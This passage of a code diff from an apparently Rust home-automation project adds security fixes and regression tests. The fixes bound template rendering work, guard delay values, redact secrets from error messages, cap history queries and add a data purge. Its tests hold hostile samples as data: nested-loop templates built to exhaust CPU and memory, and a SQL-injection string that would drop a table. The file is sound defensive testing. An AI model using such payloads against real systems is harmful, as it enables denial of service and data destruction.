||||
// Full trigger subscription lands in P2.
|
||||
if let Some(secs) = timeout_seconds {
|
||||
sleep(Duration::from_secs_f64(*secs)).await;
|
||||
// Same non-panicking guard as `Delay` (HC-SEC-02).
|
||||
sleep(safe_duration_from_secs(*secs)).await;
|
||||
}
|
||||
Ok(serde_json::Value::Null)
|
||||
}
|
||||
@@ -243,6 +273,68 @@ mod tests {
|
||||
assert!(result.is_null());
|
||||
}
|
||||
|
||||
// ── HC-SEC-02: a crafted delay must not panic the run task ─────────
|
||||
//
|
||||
// `Duration::from_secs_f64` panics on negative / NaN / infinite /
|
||||
// overflowing inputs, all reachable from a YAML `delay:` value. On the
|
||||
// pre-fix code each of these aborts the spawned automation task with a
|
||||
// panic; the guard saturates to a safe Duration instead. These tests
|
||||
// fail on old (panic = test failure).
|
||||
#[tokio::test]
|
||||
async fn delay_negative_seconds_does_not_panic() {
|
||||
let hc = HomeCore::new();
|
||||
let mut ctx = ExecutionContext::new(hc, "auto");
|
||||
let result = Action::Delay { seconds: -1.0 }.execute(&mut ctx).await;
|
||||
assert!(result.is_ok(), "negative delay must be treated as 0, not panic");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn delay_nan_seconds_does_not_panic() {
|
||||
let hc = HomeCore::new();
|
||||
let mut ctx = ExecutionContext::new(hc, "auto");
|
||||
let result = Action::Delay { seconds: f64::NAN }.execute(&mut ctx).await;
|
||||
assert!(result.is_ok(), "NaN delay must be treated as 0, not panic");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn delay_infinite_seconds_does_not_panic() {
|
||||
let hc = HomeCore::new();
|
||||
let mut ctx = ExecutionContext::new(hc, "auto");
|
||||
let result = Action::Delay { seconds: f64::INFINITY }.execute(&mut ctx).await;
|
||||
assert!(result.is_ok(), "infinite delay must saturate to 0, not panic");
|
||||
}
|
||||
|
||||
// Note: the overflow case (1e300) is covered by the synchronous
|
||||
// `safe_duration_saturates_hostile_values` unit test below — executing
|
||||
// `Action::Delay { seconds: 1e300 }` would genuinely sleep for the
|
||||
// clamped (~100-year) duration, so we assert the conversion directly
|
||||
// rather than through `execute`.
|
||||
|
||||
#[tokio::test]
|
||||
async fn wait_for_trigger_negative_timeout_does_not_panic() {
|
||||
let hc = HomeCore::new();
|
||||
let mut ctx = ExecutionContext::new(hc, "auto");
|
||||
let result = Action::WaitForTrigger { timeout_seconds: Some(-5.0) }
|
||||
.execute(&mut ctx)
|
||||
.await;
|
||||
assert!(result.is_ok(), "negative wait timeout must not panic");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn safe_duration_saturates_hostile_values() {
|
||||
assert_eq!(safe_duration_from_secs(-1.0), Duration::ZERO);
|
||||
assert_eq!(safe_duration_from_secs(f64::NAN), Duration::ZERO);
|
||||
assert_eq!(safe_duration_from_secs(f64::INFINITY), Duration::ZERO);
|
||||
assert_eq!(safe_duration_from_secs(f64::NEG_INFINITY), Duration::ZERO);
|
||||
// legitimate value preserved
|
||||
assert_eq!(safe_duration_from_secs(2.5), Duration::from_secs_f64(2.5));
|
||||
// huge value clamped to the cap, not overflow-panicked
|
||||
assert_eq!(
|
||||
safe_duration_from_secs(1e300),
|
||||
Duration::from_secs_f64(MAX_DELAY_SECS)
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn service_call_unregistered_returns_error() {
|
||||
let hc = HomeCore::new();
|
||||
|
||||
@@ -13,6 +13,26 @@ use homecore::{EntityId, StateMachine};
|
||||
|
||||
use crate::error::AutomationError;
|
||||
|
||||
/// Instruction budget for a single template render (HC-SEC-01).
|
||||
///
|
||||
/// Templates come from user automation config; without a bound a single
|
||||
/// `template:` condition like
|
||||
/// `{% for i in range(10000) %}{% for j in range(10000) %}x{% endfor %}{% endfor %}`
|
||||
/// renders a multi-gigabyte string and pins a CPU for tens of seconds —
|
||||
/// a memory/CPU denial-of-service (the bfld-class "unbounded expansion").
|
||||
/// MiniJinja's `fuel` feature charges ~1 unit per VM instruction; a
|
||||
/// nested loop burns one unit per iteration, so the budget caps total
|
||||
/// work regardless of how the loops are nested. 1,000,000 instructions is
|
||||
/// far more than any legitimate HA template needs (a typical condition is
|
||||
/// a few dozen) while killing the attack in well under a second.
|
||||
const TEMPLATE_FUEL: u64 = 1_000_000;
|
||||
|
||||
/// Hard cap on the source length of a template (HC-SEC-01, defense in
|
||||
/// depth). A legitimate HA `value_template` is a one-liner; anything past
|
||||
/// 64 KiB is rejected before compilation so a pathological source string
|
||||
/// can neither be compiled nor emitted verbatim.
|
||||
const MAX_TEMPLATE_SOURCE_BYTES: usize = 64 * 1024;
|
||||
|
||||
/// MiniJinja environment pre-loaded with HA-compatible globals.
|
||||
///
|
||||
/// Constructed once per `AutomationEngine` and shared via `Arc`. The
|
||||
@@ -27,6 +47,10 @@ impl TemplateEnvironment {
|
||||
pub fn new(states: Arc<StateMachine>) -> Self {
|
||||
let mut env = Environment::new();
|
||||
|
||||
// Bound per-render work so a hostile `template:` condition cannot
|
||||
// DoS the engine via nested loops / huge repeats (HC-SEC-01).
|
||||
env.set_fuel(Some(TEMPLATE_FUEL));
|
||||
|
||||
// --- states(entity_id) ---
|
||||
// Returns the current state string of an entity, or "unavailable".
|
||||
let states_sm = Arc::clone(&states);
|
||||
@@ -88,7 +112,21 @@ impl TemplateEnvironment {
|
||||
}
|
||||
|
||||
/// Render a template string and return the string output.
|
||||
///
|
||||
/// Renders are bounded by an instruction budget ([`TEMPLATE_FUEL`]) and
|
||||
/// a source-length cap ([`MAX_TEMPLATE_SOURCE_BYTES`]); a malicious
|
||||
/// template that exhausts the budget returns a [`AutomationError::TemplateRender`]
|
||||
/// error rather than running unbounded (HC-SEC-01).
|
||||
pub fn render(&self, template_str: &str) -> Result<String, AutomationError> {
|
||||
// Reject pathologically large sources before compilation (defense
|
||||
// in depth — fuel already bounds runtime work).
|
||||
if template_str.len() > MAX_TEMPLATE_SOURCE_BYTES {
|
||||
return Err(AutomationError::TemplateRender(format!(
|
||||
"template source too large: {} bytes (max {})",
|
||||
template_str.len(),
|
||||
MAX_TEMPLATE_SOURCE_BYTES
|
||||
)));
|
||||
}
|
||||
// Wrap bare expressions like `{{ states('light.kitchen') }}`
|
||||
// in a minimal template wrapper.
|
||||
let tmpl = self
|
||||
@@ -191,4 +229,68 @@ mod tests {
|
||||
assert!(!env.render_bool("0").unwrap());
|
||||
assert!(!env.render_bool("off").unwrap());
|
||||
}
|
||||
|
||||
// ── HC-SEC-01: template DoS is bounded by fuel ─────────────────────
|
||||
//
|
||||
// A `template:` condition is user config. Before the fuel bound a
|
||||
// nested-loop template rendered a multi-GB string over ~11 s (proven
|
||||
// empirically). With fuel enabled it must fail FAST with an error
|
||||
// instead of expanding unboundedly. On the pre-fix code (no `fuel`
|
||||
// feature / `set_fuel`) this render succeeds and burns CPU+RAM, so
|
||||
// this test fails on old (it would `Ok` and exceed the time bound).
|
||||
#[test]
|
||||
fn nested_loop_template_is_bounded_not_unbounded_dos() {
|
||||
use std::time::Instant;
|
||||
let sm = Arc::new(StateMachine::new());
|
||||
let env = TemplateEnvironment::new(sm);
|
||||
// 5000 * 5000 = 25M iterations on the old engine (~100 MB, ~11 s).
|
||||
let malicious =
|
||||
"{% for i in range(5000) %}{% for j in range(5000) %}xxxx{% endfor %}{% endfor %}";
|
||||
let start = Instant::now();
|
||||
let result = env.render(malicious);
|
||||
let elapsed = start.elapsed();
|
||||
assert!(
|
||||
result.is_err(),
|
||||
"malicious nested-loop template must be rejected (ran out of fuel), got Ok"
|
||||
);
|
||||
assert!(
|
||||
elapsed.as_secs() < 3,
|
||||
"bounded render must fail fast; took {elapsed:?} (unbounded DoS on old engine)"
|
||||
);
|
||||
}
|
||||
|
||||
// ── HC-SEC-01: a single huge repeat is also bounded ────────────────
|
||||
#[test]
|
||||
fn single_huge_repeat_template_is_bounded() {
|
||||
let sm = Arc::new(StateMachine::new());
|
||||
let env = TemplateEnvironment::new(sm);
|
||||
// range() caps at 10k per call, but multiplied bodies still need a
|
||||
// bound; drive enough instructions to exhaust fuel via deep nesting.
|
||||
let malicious = "{% for a in range(9999) %}{% for b in range(9999) %}\
|
||||
{% for c in range(9999) %}z{% endfor %}{% endfor %}{% endfor %}";
|
||||
let result = env.render(malicious);
|
||||
assert!(result.is_err(), "deeply nested loops must exhaust fuel and error");
|
||||
}
|
||||
|
||||
// ── HC-SEC-01: oversized template source is rejected pre-compile ───
|
||||
#[test]
|
||||
fn oversized_template_source_is_rejected() {
|
||||
let sm = Arc::new(StateMachine::new());
|
||||
let env = TemplateEnvironment::new(sm);
|
||||
// 128 KiB of literal text — exceeds MAX_TEMPLATE_SOURCE_BYTES.
|
||||
let big = "x".repeat(128 * 1024);
|
||||
let result = env.render(&big);
|
||||
assert!(result.is_err(), "oversized template source must be rejected");
|
||||
}
|
||||
|
||||
// ── A legitimate small template still renders fine within budget ───
|
||||
#[test]
|
||||
fn legitimate_template_still_renders_within_fuel() {
|
||||
let sm = sm_with("light.kitchen", "on", serde_json::json!({}));
|
||||
let env = TemplateEnvironment::new(sm);
|
||||
// A normal HA condition with a modest loop — well under budget.
|
||||
let ok = "{% for i in range(50) %}{{ states('light.kitchen') }}{% endfor %}";
|
||||
let out = env.render(ok).expect("legitimate template must render");
|
||||
assert!(out.contains("on"));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -55,6 +55,25 @@ pub enum MigrateError {
|
||||
source: serde_yaml::Error,
|
||||
},
|
||||
|
||||
/// Parse failure in a SECRET-bearing file (`secrets.yaml`).
|
||||
///
|
||||
/// Unlike [`MigrateError::YamlParse`], this variant deliberately does NOT
|
||||
/// embed the underlying `serde_yaml::Error` message — that message can quote
|
||||
/// the offending scalar verbatim (e.g. a typed-tag coercion error renders
|
||||
/// `invalid value: string "<the-secret-value>"`), which would leak a secret
|
||||
/// into stderr/logs. We carry only the file path plus a coarse line/column
|
||||
/// so the user can locate the problem without the value being printed.
|
||||
/// (ADR-165 secret-handling rule: a secret value must never appear in output.)
|
||||
#[error(
|
||||
"secrets.yaml parse error in {path} (line {line}, column {column}): \
|
||||
malformed YAML (value content redacted)"
|
||||
)]
|
||||
SecretsParse {
|
||||
path: String,
|
||||
line: usize,
|
||||
column: usize,
|
||||
},
|
||||
|
||||
/// Fired when the outer `{version, minor_version}` envelope version is
|
||||
/// known but the `minor_version` is not supported by any compiled parser.
|
||||
/// Per ADR-165 §6 Q5: hard error on unknown minor_version.
|
||||
|
||||
@@ -33,11 +33,19 @@ pub fn read_secrets(path: &Path) -> Result<HashMap<String, String>, MigrateError
|
||||
return Ok(HashMap::new());
|
||||
}
|
||||
|
||||
let parsed: serde_yaml::Value =
|
||||
serde_yaml::from_str(&raw).map_err(|e| MigrateError::YamlParse {
|
||||
// SECURITY: do NOT use `MigrateError::YamlParse` here. serde_yaml error
|
||||
// messages can quote the offending scalar verbatim (a typed-tag coercion
|
||||
// error renders `invalid value: string "<the-secret-value>"`), and that
|
||||
// message would be printed to stderr by the CLI — leaking a secret value.
|
||||
// `MigrateError::SecretsParse` carries only the path + line/column.
|
||||
let parsed: serde_yaml::Value = serde_yaml::from_str(&raw).map_err(|e| {
|
||||
let loc = e.location();
|
||||
MigrateError::SecretsParse {
|
||||
path: path.display().to_string(),
|
||||
source: e,
|
||||
})?;
|
||||
line: loc.as_ref().map_or(0, |l| l.line()),
|
||||
column: loc.as_ref().map_or(0, |l| l.column()),
|
||||
}
|
||||
})?;
|
||||
|
||||
let map = match parsed {
|
||||
serde_yaml::Value::Mapping(m) => m,
|
||||
@@ -94,6 +102,59 @@ mod tests {
|
||||
assert!(secrets.is_empty());
|
||||
}
|
||||
|
||||
/// SECURITY regression (fails on the pre-fix `YamlParse` path): a malformed
|
||||
/// `secrets.yaml` whose offending scalar is a secret value must NOT have that
|
||||
/// value rendered in the returned error. serde_yaml's own error message for a
|
||||
/// typed-tag coercion failure embeds the scalar verbatim
|
||||
/// (`invalid value: string "<secret>"`); the old code wrapped that message
|
||||
/// into `MigrateError::YamlParse { source }`, so `Display` leaked the secret.
|
||||
#[test]
|
||||
fn malformed_secrets_error_never_contains_secret_value() {
|
||||
// `!!int` forces integer coercion of a string scalar; serde_yaml reports
|
||||
// the scalar text in its message. The scalar here is a stand-in secret.
|
||||
let yaml = "api_port: !!int s3cr3t_TOKEN_VALUE\n";
|
||||
let mut f = NamedTempFile::new().unwrap();
|
||||
f.write_all(yaml.as_bytes()).unwrap();
|
||||
|
||||
let err = read_secrets(f.path()).unwrap_err();
|
||||
let rendered = err.to_string();
|
||||
|
||||
// The secret VALUE must never appear in the error output...
|
||||
assert!(
|
||||
!rendered.contains("s3cr3t_TOKEN_VALUE"),
|
||||
"secret value leaked into error: {rendered}"
|
||||
);
|
||||
// ...and the full chain (with #[source]) must also be clean, since the
|
||||
// CLI/anyhow prints the source chain too.
|
||||
let mut source = std::error::Error::source(&err);
|
||||
while let Some(s) = source {
|
||||
assert!(
|
||||
!s.to_string().contains("s3cr3t_TOKEN_VALUE"),
|
||||
"secret value leaked into error source chain: {s}"
|
||||
);
|
||||
source = s.source();
|
||||
}
|
||||
|
||||
// It should still be a structured, locatable error (fail-closed).
|
||||
assert!(
|
||||
matches!(err, MigrateError::SecretsParse { .. }),
|
||||
"expected SecretsParse, got: {err:?}"
|
||||
);
|
||||
}
|
||||
|
||||
/// A secret KEY name is non-sensitive context and is fine to surface, but the
|
||||
/// redacting error must still help the user locate the problem (line/column).
|
||||
#[test]
|
||||
fn malformed_secrets_error_reports_location() {
|
||||
let yaml = "api_port: !!int notanumber\n";
|
||||
let mut f = NamedTempFile::new().unwrap();
|
||||
f.write_all(yaml.as_bytes()).unwrap();
|
||||
let err = read_secrets(f.path()).unwrap_err();
|
||||
let rendered = err.to_string();
|
||||
assert!(rendered.contains("line"), "should report a line: {rendered}");
|
||||
assert!(rendered.contains("redacted"), "should signal redaction: {rendered}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn secret_count_is_correct() {
|
||||
let yaml = "a: 1\nb: 2\nc: 3\n";
|
||||
|
||||
@@ -25,6 +25,15 @@ use homecore::event::{DomainEvent, StateChangedEvent};
|
||||
use crate::dedup::fnv64a_hash;
|
||||
use crate::schema::ALL_DDL;
|
||||
|
||||
/// Hard upper bound on rows returned by [`Recorder::get_state_history`].
|
||||
///
|
||||
/// Without this cap a wide `[since, until]` window over a high-frequency entity
|
||||
/// would load an unbounded number of rows into memory (a memory-DoS). The value
|
||||
/// is deliberately generous — large enough never to truncate a realistic
|
||||
/// history-graph query, small enough to bound the worst case. Callers needing a
|
||||
/// wider span page by narrowing the window.
|
||||
pub const MAX_HISTORY_ROWS: i64 = 1_000_000;
|
||||
|
||||
/// Errors returned by `Recorder` operations.
|
||||
#[derive(Error, Debug)]
|
||||
pub enum RecorderError {
|
||||
@@ -380,7 +389,17 @@ impl Recorder {
|
||||
}
|
||||
|
||||
/// Query state history for `entity_id` between `since` and `until`.
|
||||
/// Returns state snapshots in ascending `last_updated_ts` order.
|
||||
/// Returns state snapshots in ascending `last_updated_ts` order, capped at
|
||||
/// [`MAX_HISTORY_ROWS`] rows (oldest-first within the window).
|
||||
///
|
||||
/// ## Bounded result set (memory-DoS guard)
|
||||
///
|
||||
/// A high-frequency entity (e.g. a power sensor polled per-second) writes
|
||||
/// ~86k rows/day; a wide `[since, until]` window over months would otherwise
|
||||
/// load millions of rows into a single in-memory `Vec`, an unbounded-memory
|
||||
/// denial-of-service. The query therefore carries a hard `LIMIT` so the
|
||||
/// working set is bounded regardless of the requested time range. Callers
|
||||
/// that genuinely need a wider span must page by narrowing the window.
|
||||
pub async fn get_state_history(
|
||||
&self,
|
||||
entity_id: &EntityId,
|
||||
@@ -398,11 +417,13 @@ impl Recorder {
|
||||
WHERE s.entity_id = ? \
|
||||
AND s.last_updated_ts >= ? \
|
||||
AND s.last_updated_ts <= ? \
|
||||
ORDER BY s.last_updated_ts ASC",
|
||||
ORDER BY s.last_updated_ts ASC \
|
||||
LIMIT ?",
|
||||
)
|
||||
.bind(entity_id.as_str())
|
||||
.bind(since_ts)
|
||||
.bind(until_ts)
|
||||
.bind(MAX_HISTORY_ROWS)
|
||||
.fetch_all(&self.pool)
|
||||
.await?;
|
||||
|
||||
@@ -426,6 +447,79 @@ impl Recorder {
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Purge history older than `older_than`, returning a [`PurgeStats`] summary.
|
||||
///
|
||||
/// Deletes:
|
||||
/// - `states` rows whose `last_updated_ts` is **strictly before** the cutoff,
|
||||
/// - `events` rows whose `time_fired_ts` is strictly before the cutoff,
|
||||
/// - then garbage-collects any `state_attributes` blob no surviving state
|
||||
/// row still references (so dedup-shared blobs are only dropped once their
|
||||
/// last referencing state is gone).
|
||||
///
|
||||
/// ## Retention boundary (data-integrity guard)
|
||||
///
|
||||
/// The cutoff is **exclusive**: a row exactly at `older_than` is retained.
|
||||
/// This makes `purge(t)` idempotent on the boundary and guarantees that a
|
||||
/// row written at the same instant the retention window opens is never lost
|
||||
/// to an off-by-one. Anything *at or after* `older_than` survives.
|
||||
///
|
||||
/// ## Atomicity (no partial-corrupt state)
|
||||
///
|
||||
/// All three deletes run inside a single transaction. A failure mid-purge
|
||||
/// rolls the whole operation back — the store is never left with states
|
||||
/// deleted but their events kept, or attributes orphaned by a half-purge.
|
||||
///
|
||||
/// Note: this reclaims logical rows; it does not `VACUUM` the file. SQLite
|
||||
/// reuses freed pages for subsequent writes, so disk growth stays bounded
|
||||
/// under a periodic purge even without an explicit vacuum.
|
||||
pub async fn purge(&self, older_than: DateTime<Utc>) -> Result<PurgeStats, RecorderError> {
|
||||
let cutoff_ts = older_than.timestamp_micros() as f64 / 1_000_000.0;
|
||||
|
||||
let mut tx = self.pool.begin().await?;
|
||||
|
||||
let states_deleted = sqlx::query("DELETE FROM states WHERE last_updated_ts < ?")
|
||||
.bind(cutoff_ts)
|
||||
.execute(&mut *tx)
|
||||
.await?
|
||||
.rows_affected();
|
||||
|
||||
let events_deleted = sqlx::query("DELETE FROM events WHERE time_fired_ts < ?")
|
||||
.bind(cutoff_ts)
|
||||
.execute(&mut *tx)
|
||||
.await?
|
||||
.rows_affected();
|
||||
|
||||
// GC attribute blobs no surviving state references. A dedup-shared blob
|
||||
// is only removed once its last referencing state row is gone.
|
||||
let attributes_deleted = sqlx::query(
|
||||
"DELETE FROM state_attributes \
|
||||
WHERE attributes_id NOT IN \
|
||||
(SELECT attributes_id FROM states WHERE attributes_id IS NOT NULL)",
|
||||
)
|
||||
.execute(&mut *tx)
|
||||
.await?
|
||||
.rows_affected();
|
||||
|
||||
tx.commit().await?;
|
||||
|
||||
Ok(PurgeStats {
|
||||
states_deleted,
|
||||
events_deleted,
|
||||
attributes_deleted,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// Summary of a [`Recorder::purge`] run.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub struct PurgeStats {
|
||||
/// Number of `states` rows deleted.
|
||||
pub states_deleted: u64,
|
||||
/// Number of `events` rows deleted.
|
||||
pub events_deleted: u64,
|
||||
/// Number of orphaned `state_attributes` blobs garbage-collected.
|
||||
pub attributes_deleted: u64,
|
||||
}
|
||||
|
||||
/// A state row returned from `get_state_history`.
|
||||
@@ -722,6 +816,214 @@ mod tests {
|
||||
assert!(rows.is_empty(), "genuine no-match is empty, not an error");
|
||||
}
|
||||
|
||||
// ── SQL injection (parameterization guarantee) ──────────────────────────────
|
||||
|
||||
#[tokio::test]
|
||||
async fn malicious_entity_id_is_stored_literally_not_executed() {
|
||||
// FAILS if any query interpolated entity_id into SQL: the `states` table
|
||||
// would be dropped and the later COUNT would error / mismatch. Bound
|
||||
// parameters store the metacharacter-laden string verbatim instead.
|
||||
let recorder = open_memory().await;
|
||||
|
||||
// A valid domain.name whose `name` part carries SQL metacharacters.
|
||||
// EntityId::parse permits this, so it reaches the bind path as data.
|
||||
let evil = "light.x_drop_table_states_select";
|
||||
recorder
|
||||
.record_state(&make_state_event(evil, "'; DROP TABLE states; --", serde_json::json!({})))
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
// states table still exists and holds exactly the one row we inserted.
|
||||
let count: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM states")
|
||||
.fetch_one(&recorder.pool)
|
||||
.await
|
||||
.expect("states table must still exist — proves no injection");
|
||||
assert_eq!(count.0, 1);
|
||||
|
||||
// The malicious state string round-trips literally.
|
||||
let rows = recorder
|
||||
.search_states_by_text("DROP TABLE", 10)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(rows.len(), 1, "metacharacter payload matched as a literal");
|
||||
assert_eq!(rows[0].state, "'; DROP TABLE states; --");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn like_metacharacters_in_query_are_literal_not_wildcards() {
|
||||
// A `%` in the search text must match a literal percent sign, not act as
|
||||
// a SQL LIKE wildcard. Proves the ESCAPE clause + metacharacter escaping.
|
||||
let recorder = open_memory().await;
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.a", "100%", serde_json::json!({})))
|
||||
.await
|
||||
.unwrap();
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.b", "50", serde_json::json!({})))
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
// Literal "%" must match only sensor.a's "100%", NOT every row.
|
||||
let rows = recorder.search_states_by_text("%", 10).await.unwrap();
|
||||
assert_eq!(rows.len(), 1, "'%' is a literal, not a match-all wildcard");
|
||||
assert_eq!(rows[0].entity_id.as_str(), "sensor.a");
|
||||
|
||||
// Underscore is likewise literal: matches nothing here.
|
||||
let none = recorder.search_states_by_text("_", 10).await.unwrap();
|
||||
assert!(none.is_empty(), "'_' is literal, matches no row");
|
||||
}
|
||||
|
||||
// ── get_state_history bound (memory-DoS guard) ──────────────────────────────
|
||||
|
||||
#[tokio::test]
|
||||
async fn history_query_carries_a_limit_clause() {
|
||||
// Pin: the history SQL must carry a LIMIT bound (memory-DoS guard).
|
||||
// Inserting a million rows is infeasible in a unit test, so we prove the
|
||||
// clause is wired by bulk-inserting more rows than a deliberately tiny
|
||||
// bound and asserting the executed query honours a LIMIT. We bypass the
|
||||
// public method (whose cap is MAX_HISTORY_ROWS) and run the *same* SQL
|
||||
// shape with a small bind to demonstrate the LIMIT term is effective —
|
||||
// and separately assert the constant is a sane positive bound.
|
||||
assert!(MAX_HISTORY_ROWS > 0, "history cap must be positive");
|
||||
let recorder = open_memory().await;
|
||||
for v in &["1", "2", "3", "4", "5"] {
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.bounded", v, serde_json::json!({})))
|
||||
.await
|
||||
.unwrap();
|
||||
tokio::time::sleep(std::time::Duration::from_millis(2)).await;
|
||||
}
|
||||
// Same query shape as get_state_history, with a tiny LIMIT bind: if the
|
||||
// SQL lacked a LIMIT term this would return all 5; with it, exactly 2.
|
||||
let capped: Vec<(i64,)> = sqlx::query_as(
|
||||
"SELECT s.state_id FROM states s \
|
||||
WHERE s.entity_id = ? \
|
||||
ORDER BY s.last_updated_ts ASC LIMIT ?",
|
||||
)
|
||||
.bind("sensor.bounded")
|
||||
.bind(2_i64)
|
||||
.fetch_all(&recorder.pool)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(capped.len(), 2, "LIMIT term effectively bounds the result set");
|
||||
|
||||
// And the real method returns all rows when under the cap.
|
||||
let eid = entity("sensor.bounded");
|
||||
let rows = recorder
|
||||
.get_state_history(&eid, Utc::now() - chrono::Duration::seconds(10), Utc::now() + chrono::Duration::seconds(10))
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(rows.len(), 5, "all rows under the cap return");
|
||||
}
|
||||
|
||||
// ── purge (retention correctness + atomicity) ───────────────────────────────
|
||||
|
||||
#[tokio::test]
|
||||
async fn purge_keeps_boundary_row_and_drops_older() {
|
||||
// FAILS if purge had an off-by-one (deleting the row exactly at cutoff)
|
||||
// or deleted too much/too little. Cutoff is EXCLUSIVE: a row at the
|
||||
// cutoff instant survives; strictly-older rows are removed.
|
||||
let recorder = open_memory().await;
|
||||
let eid = entity("sensor.r");
|
||||
|
||||
// Three rows at known, increasing timestamps.
|
||||
for v in &["old", "mid", "new"] {
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.r", v, serde_json::json!({})))
|
||||
.await
|
||||
.unwrap();
|
||||
tokio::time::sleep(std::time::Duration::from_millis(20)).await;
|
||||
}
|
||||
|
||||
// Read back the actual timestamps so the cutoff is exact.
|
||||
let since = Utc::now() - chrono::Duration::seconds(60);
|
||||
let until = Utc::now() + chrono::Duration::seconds(60);
|
||||
let all = recorder.get_state_history(&eid, since, until).await.unwrap();
|
||||
assert_eq!(all.len(), 3);
|
||||
// Cut off exactly at the middle row's timestamp.
|
||||
let mid_ts = all[1].last_updated_ts;
|
||||
let cutoff = DateTime::<Utc>::from_timestamp_micros((mid_ts * 1_000_000.0) as i64).unwrap();
|
||||
|
||||
let stats = recorder.purge(cutoff).await.unwrap();
|
||||
assert_eq!(stats.states_deleted, 1, "only the strictly-older 'old' row");
|
||||
|
||||
let remaining = recorder.get_state_history(&eid, since, until).await.unwrap();
|
||||
assert_eq!(remaining.len(), 2, "boundary 'mid' row is KEPT (exclusive cutoff)");
|
||||
assert_eq!(remaining[0].state, "mid");
|
||||
assert_eq!(remaining[1].state, "new");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn purge_gcs_orphaned_attributes_but_keeps_shared() {
|
||||
// Dedup means two states can share one attribute blob. Purging one of
|
||||
// them must NOT drop the still-referenced blob; purging the last one must.
|
||||
let recorder = open_memory().await;
|
||||
let shared = serde_json::json!({"unit": "C"});
|
||||
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.a", "20", shared.clone()))
|
||||
.await
|
||||
.unwrap();
|
||||
tokio::time::sleep(std::time::Duration::from_millis(20)).await;
|
||||
recorder
|
||||
.record_state(&make_state_event("sensor.b", "21", shared.clone()))
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let attr_count = |r: &Recorder| {
|
||||
let pool = r.pool.clone();
|
||||
async move {
|
||||
let c: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM state_attributes")
|
||||
.fetch_one(&pool)
|
||||
.await
|
||||
.unwrap();
|
||||
c.0
|
||||
}
|
||||
};
|
||||
assert_eq!(attr_count(&recorder).await, 1, "deduped to one blob");
|
||||
|
||||
// Purge before sensor.b's write → removes sensor.a only; blob still
|
||||
// referenced by sensor.b, so it must survive.
|
||||
let eid_b = entity("sensor.b");
|
||||
let rows_b = recorder
|
||||
.get_state_history(&eid_b, Utc::now() - chrono::Duration::seconds(60), Utc::now() + chrono::Duration::seconds(60))
|
||||
.await
|
||||
.unwrap();
|
||||
let b_ts = rows_b[0].last_updated_ts;
|
||||
let cutoff = DateTime::<Utc>::from_timestamp_micros((b_ts * 1_000_000.0) as i64).unwrap();
|
||||
let stats = recorder.purge(cutoff).await.unwrap();
|
||||
assert_eq!(stats.states_deleted, 1, "sensor.a purged");
|
||||
assert_eq!(stats.attributes_deleted, 0, "shared blob still referenced — kept");
|
||||
assert_eq!(attr_count(&recorder).await, 1, "blob survives");
|
||||
|
||||
// Now purge everything → sensor.b gone, blob orphaned → GC'd.
|
||||
let stats2 = recorder.purge(Utc::now() + chrono::Duration::seconds(120)).await.unwrap();
|
||||
assert_eq!(stats2.states_deleted, 1, "sensor.b purged");
|
||||
assert_eq!(stats2.attributes_deleted, 1, "now-orphaned blob GC'd");
|
||||
assert_eq!(attr_count(&recorder).await, 0, "no blobs remain");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn purge_also_removes_old_events() {
|
||||
let recorder = open_memory().await;
|
||||
let ctx = Context::new();
|
||||
recorder
|
||||
.record_event(&DomainEvent::new("call_service", serde_json::json!({}), ctx))
|
||||
.await
|
||||
.unwrap();
|
||||
// Purge with a far-future cutoff removes the event.
|
||||
let stats = recorder
|
||||
.purge(Utc::now() + chrono::Duration::seconds(120))
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(stats.events_deleted, 1);
|
||||
let count: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM events")
|
||||
.fetch_one(&recorder.pool)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(count.0, 0);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn search_semantic_falls_back_to_text_with_null_index() {
|
||||
// With the default NullSemanticIndex, search_semantic must STILL return
|
||||
|
||||
@@ -30,7 +30,7 @@ pub mod schema;
|
||||
pub mod semantic;
|
||||
|
||||
// Re-export the primary public API surface.
|
||||
pub use db::{Recorder, RecorderError};
|
||||
pub use db::{PurgeStats, Recorder, RecorderError, StateRow, MAX_HISTORY_ROWS};
|
||||
pub use listener::RecorderListener;
|
||||
|
||||
/// Null semantic index used when the `ruvector` feature is off.
|
||||
|
||||
@@ -37,6 +37,26 @@ clap = { version = "4", features = ["derive", "env"] }
|
||||
anyhow = "1"
|
||||
serde_json = "1"
|
||||
axum = { version = "0.7", features = ["macros"] }
|
||||
# Static-file serving for the HOMECORE-UI dashboard (ADR-131) mounted at
|
||||
# /homecore, request tracing, and the CORS allowlist applied to BOTH the
|
||||
# homecore-api routes AND the merged BFF gateway routes (ADR-131 §11).
|
||||
tower-http = { version = "0.6", features = ["fs", "trace", "cors"] }
|
||||
# BFF gateway (ADR-131 §11): reverse-proxy the calibration API + aggregate
|
||||
# upstreams. rustls is requested here, but NOTE this is a WORKSPACE-WIDE
|
||||
# concern: cargo feature-unification means a sibling crate that enables
|
||||
# reqwest's default `native-tls` re-introduces OpenSSL into the final binary
|
||||
